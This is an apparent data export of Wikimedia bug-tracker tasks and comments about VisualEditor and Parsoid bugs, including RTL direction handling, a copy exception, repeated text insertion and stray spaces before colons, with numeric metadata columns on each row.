+221132,VisualEditor: List langlinks (readonly) in the meta-data dialog,Related URL: https://gerrit.wikimedia.org/r/67245 (Gerrit Change I897da1cf06c79ee40e29fb632d09cddb57144ada),,,1370518722,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,2,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221127,VisualEditor: List langlinks (readonly) in the meta-data dialog,Now merged and will go out with wmf6.,,,1370489154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+221121,VisualEditor: List langlinks (readonly) in the meta-data dialog,This is being done in gerrit 65432.,,,1370462536,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+50765,VisualEditor: Content is LTR even when the page language is RTL,"This is using Firefox under Ubuntu 13.x:
+
+
+The problem:
+If the wiki is RTL (Hebrew, for instance), start editing an empty page. The caret appears on the left side and the typing is done LTR.
+
+
+I did a quick check, and noticed that there is a class added to the content box - ""ve-ui-surface mw-content-ltr"" even when the page language is rtl (defined in the <html dir=""rtl""..>
+
+I found this addition in the ve.init.mw.ViewPageTarget line 786:
+this.surface.$.addClass( 'mw-content-' + mw.config.get( 'wgVisualEditor' ).pageLanguageDir );
+
+In my system this produced ""mw-content-ltr"" despite the fact the page language was Hebrew and the html direction was defined as rtl. 
+
+However, I then tried to forcefully change it to rtl, just to test, and while the class appeared correctly (mw-content-rtl), the direction of the typed text was still LTR. It remained LTR when I changed the language to English.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux",High,80.0,1369379280,1369782964.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_description,declined,True,c1,1,False,False,True,-6,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+217915,VisualEditor: Content is LTR even when the page language is RTL,As agreed.,,,1369782964,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+217910,VisualEditor: Content is LTR even when the page language is RTL,"(In reply to comment #1)
+> Okay, I figured out the problem, but this isn't precisely a bug and it
+> depends
+> on what you want the behavior to be.
+> 
+> First off, the issue seemed to be that the definition of the page language
+> was
+> always LTR in VE, regardless of what language I was using. Even when my page
+> was Hebrew/RTL, VE's config showed it as english/ltr. That was quite
+> frustrating, I was starting to think the problem is that the hooks page reads
+> the language too early (which made no sense, really, since all other
+> extensions
+> read it the same way) 
+> 
+> Not so. Here's the issue:
+> 
+> I didn't notice that when I switched languages in MediaWiki, I did that
+> through
+> my own user preferences (since I was going frequently from English to Hebrew
+> and back for testing). That meant that the *page* and global language was
+> indeed English, and so VE read the global/page language *correctly* as
+> EN/LTR.
+> 
+> So, while I was working in my own rtl preferences, VE corrected me by
+> injecting
+> LTR in there, and switching my marker to the left. 
+> 
+> When I changed the global settings of my wiki to hebrew, it all worked out
+> perfectly again, and all is well.
+> 
+> So now a question for you guys -- this seems to be a decent behavior (though
+> maybe for the sake of users it may be nice to say it somewhere?) -- however,
+> there *is* an option to read the user language instead of the global language
+> in the VisualEditor.hooks.php page, by using the $context->getLanguage()
+> method
+> instead of the currently used $out->getTitle()->getPageLanguage()
+> 
+> That would mean that the direction of the marker will be defined by the
+> *user*
+> defined language rather than by the page- or wiki-defined language
+> direction. 
+> 
+> I can think of reasons this can be good, but I can also think of reasons this
+> can be bad. I am not sure which is better. On one hand, the page probably
+> defines the proper language, and the user language is mostly for the GUI, but
+> on the other, if the user language is RTL, we usually expect the marker to
+> follow suit.
+> 
+> Whatever is decided, this will definitely affect any and all RTL buttons
+> (direction changes for paragraphs/page/etc) and the marker movement (whose
+> bug
+> I was going to look at next.
+> 
+> Should it stay with page language, or switch to user language when deciding
+> marker direction in VE?
+
+I think that the behaviour is as intended - language of content is a wiki-level not user-level decision. This means that if your interface is in RTL but the content is LTR (or vice versa) the buttons need to work in the content context, not the user language, yes. Do they currently not?",,,1369387531,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,True,,,-6,,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+217906,VisualEditor: Content is LTR even when the page language is RTL,"Okay, I figured out the problem, but this isn't precisely a bug and it depends on what you want the behavior to be.
+
+First off, the issue seemed to be that the definition of the page language was always LTR in VE, regardless of what language I was using. Even when my page was Hebrew/RTL, VE's config showed it as english/ltr. That was quite frustrating, I was starting to think the problem is that the hooks page reads the language too early (which made no sense, really, since all other extensions read it the same way) 
+
+Not so. Here's the issue:
+
+I didn't notice that when I switched languages in MediaWiki, I did that through my own user preferences (since I was going frequently from English to Hebrew and back for testing). That meant that the *page* and global language was indeed English, and so VE read the global/page language *correctly* as EN/LTR.
+
+So, while I was working in my own rtl preferences, VE corrected me by injecting LTR in there, and switching my marker to the left. 
+
+When I changed the global settings of my wiki to hebrew, it all worked out perfectly again, and all is well.
+
+So now a question for you guys -- this seems to be a decent behavior (though maybe for the sake of users it may be nice to say it somewhere?) -- however, there *is* an option to read the user language instead of the global language in the VisualEditor.hooks.php page, by using the $context->getLanguage() method instead of the currently used $out->getTitle()->getPageLanguage()
+
+That would mean that the direction of the marker will be defined by the *user* defined language rather than by the page- or wiki-defined language direction. 
+
+I can think of reasons this can be good, but I can also think of reasons this can be bad. I am not sure which is better. On one hand, the page probably defines the proper language, and the user language is mostly for the GUI, but on the other, if the user language is RTL, we usually expect the marker to follow suit.
+
+Whatever is decided, this will definitely affect any and all RTL buttons (direction changes for paragraphs/page/etc) and the marker movement (whose bug I was going to look at next.
+
+Should it stay with page language, or switch to user language when deciding marker direction in VE?",,,1369387045,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,False,,,-6,,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+50604,VisualEditor: Selecting and copying one node throws an exception,"Select an inline node (e.g. an inline image) on it's own (i.e. no whitespace either side of it), and trying to copy will throw an exception (ve.dm.Document.js:786 selection[0].range is undefined)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368892860,1377634914.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+208429,VisualEditor: Selecting and copying one node throws an exception,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634914,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208425,VisualEditor: Selecting and copying one node throws an exception,"Change 80301 merged by jenkins-bot:
+Copy-paste data fixes
+
+https://gerrit.wikimedia.org/r/80301",,,1377634861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+208420,VisualEditor: Selecting and copying one node throws an exception,"Change 80301 had a related patch set uploaded by Jforrester:
+Copy-paste data fixes
+
+https://gerrit.wikimedia.org/r/80301",,,1377546583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+208416,VisualEditor: Selecting and copying one node throws an exception,https://gerrit.wikimedia.org/r/#/c/80301/ fixes,,,1377544788,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+208409,VisualEditor: Selecting and copying one node throws an exception,"Nope, ignore comment 5, it adds the linebreaks no matter which way the selection is generated. Similar outcome but apparently independent.",,,1374074350,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+208402,VisualEditor: Selecting and copying one node throws an exception,The second half of comment 4 might be bug 51538,,,1374074228,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+208397,VisualEditor: Selecting and copying one node throws an exception,"No exception now, it just fails to copy at all if you select a focusable node.
+
+In what looks like a separate bug, if you select around a focusable node, pasting creates a new paragraph, e.g.
+
+Foo ""Bar [1] Baz"" Quux
+
+copy range marked with double quotes ([1] is a reference) then paste in the middle of Qu_ux and you get:
+
+Foo Bar [1] Baz Qu
+Bar [1] Baz
+ux
+
+instead of
+
+Foo Bar [1] Baz QuBar [1] Bazux",,,1373993120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+208392,VisualEditor: Selecting and copying one node throws an exception,I can't reproduce this now in Chrome or Firefox…,,,1373336346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+208386,VisualEditor: Selecting and copying one node throws an exception,"@Ed, @Christian: In which browsers are you guys able to confirm it?",,,1372710956,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+208381,VisualEditor: Selecting and copying one node throws an exception,"**orbit** wrote:
+
+ooh... that's true.",,,1371773691,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50592,VisualEditor: Edit triggered repeated inserts of existing text with snowman,"I used VE in Firefox 21.0 on Ubuntu to edit https://www.mediawiki.org/wiki/Backporting_Fixes . I changed a few headings, then pressed Enter between a heading and a numbered list below it to insert a new line (not sure if the caret was on the end of the heading or the start of the first item, I'm not sure if I started typing.
+
+VE began inserting the first sentence of the numbered list but with its link changed to two snowmen, about 15 times. Every time I clicked it would prepend some more.  Even scrolling would trigger this.
+
+Before, the document contained
+
+== WMF Cluster Backports ==
+# Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.
+
+I couldn't edit the document, but VE's review and save button worked fine. The new document showed as
+
+== ==
+# Make sure there is a bug registered in ☃☃ for the issue.Make sure there is a bug registered in ☃☃ for the issue. <repeated 269 more times>Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.
+
+I don't know what happened to the heading, I didn't blank it out. I might have attempted a cut and paste, maybe that's what's going haywire, though I'm pretty sure the last thing I did was pressed Enter to add a sentence after the heading.
+
+I assume this is an Easter egg in the VE codebase: if you manipulate the document near an exhortation to file a bug, Parsoid detects it and repeats the phrase, with snow people 8-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368826620,1371147355.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-lyuwrgvbcgimricw6omw,task_description,resolved,True,c1,1,False,False,True,-7,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+232937,VisualEditor: Edit triggered repeated inserts of existing text with snowman,"I /believe/ that we fixed this (rather worrying bug) last week with some changes on the CE side; if it recurs, please re-open!",,,1371147355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lyuwrgvbcgimricw6omw,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+50570,Spaces added before colons and links in some cases,"See https://fr.wikipedia.org/w/index.php?title=COE&diff=prev&oldid=93166267 for example.
+
+I only removed the link, but VisualEditor added a space before the colons.
+
+Another example: https://fr.wikipedia.org/w/index.php?title=MSS&diff=prev&oldid=93166411
+
+There was already two spaces, but VisualEditor added a third.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51024",High,80.0,1368776580,1383667577.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-dlmzlny66znupvw7flge,task_description,resolved,True,c1,1,False,False,False,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+409988,Spaces added before colons and links in some cases,"According to a cs.wp editor such changes are intentional, so possibly no need to investigate further. Thanks.",,,1423674753,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+408667,Spaces added before colons and links in some cases,"(Sorry if I'm adding to the wrong task, I think a more relevant one was closed as dupe of this one. I haven't heard from cs.wp yet but it looks like there are [[ https://cs.wikipedia.org/w/index.php?title=Speci%C3%A1ln%C3%AD:Z%C3%A1znam_filtr%C5%AF_zneu%C5%BEit%C3%AD&wpSearchFilter=69 | too many occurrences ]] to be the case, IMHO).",,,1423496314,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,84,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+408652,Spaces added before colons and links in some cases,@Elitre: This doesn't look like space before colons or links .. Could they be null edits / edit undos that might have left behind spaces in VE that Parsoid is preserving?,,,1423494381,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+408228,Spaces added before colons and links in some cases,"Can it be this is happening again? At cs.wp [[ https://cs.wikipedia.org/wiki/Speciáln%C3%AD:Filtry_zneužit%C3%AD/69 | they are filtering ]] edits adding extra spaces, like [[ https://cs.wikipedia.org/w/index.php?title=Románská_architektura&diff=prev&oldid=12201516 | this ]] or [[ https://cs.wikipedia.org/w/index.php?title=Ptakopysk&diff=prev&oldid=12204327 | this ]] (I haven't much info ATM).",,,1423328803,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,83,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+231771,Spaces added before colons and links in some cases,"Change 84701 merged by jenkins-bot:
+(Bug 48570) Fix subtle selser bug handling separator-only nodes
+
+https://gerrit.wikimedia.org/r/84701",,,1379696165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+231766,Spaces added before colons and links in some cases,*** Bug 50637 has been marked as a duplicate of this bug. ***,,,1379613746,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231760,Spaces added before colons and links in some cases,"Change 84701 had a related patch set uploaded by Subramanya Sastry:
+(Bug 48570) Fix subtle selser bug handling separator-only nodes
+
+https://gerrit.wikimedia.org/r/84701",,,1379466252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+231752,Spaces added before colons and links in some cases,"Confirmed on simple test case. Investigating.
+---------------------------------------
+
+[subbu@earth tests] echo ""foo : bar"" > /tmp/wt
+[subbu@earth tests] node parse < /tmp/wt > /tmp/old.html
+[subbu@earth tests] cat /tmp/old.html | sed 's/bar/bars/g;' > /tmp/new.html
+[subbu@earth tests] node parse --html2wt --selser --oldtextfile /tmp/wt --oldhtmlfile /tmp/old.html < /tmp/new.html
+foo  : bars",,,1379461368,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+231744,Spaces added before colons and links in some cases,Bug 51024 has several more examples of this bug occurring if anyone is looking for them.,,,1379455350,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+231736,Spaces added before colons and links in some cases,*** Bug 51024 has been marked as a duplicate of this bug. ***,,,1379455266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231729,Spaces added before colons and links in some cases,See also bug 51024,,,1379448597,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+231723,Spaces added before colons and links in some cases,"Still present: see https://fr.wikipedia.org/w/index.php?title=Julot,_l%27Apache&diff=96678299&oldid=95213076 for example.",,,1379252830,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+231715,Spaces added before colons and links in some cases,"This looks like 1. a Parsoid issue, 2. fixed in master. Reassigning to Parsoid to confirm.",,,1376931075,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
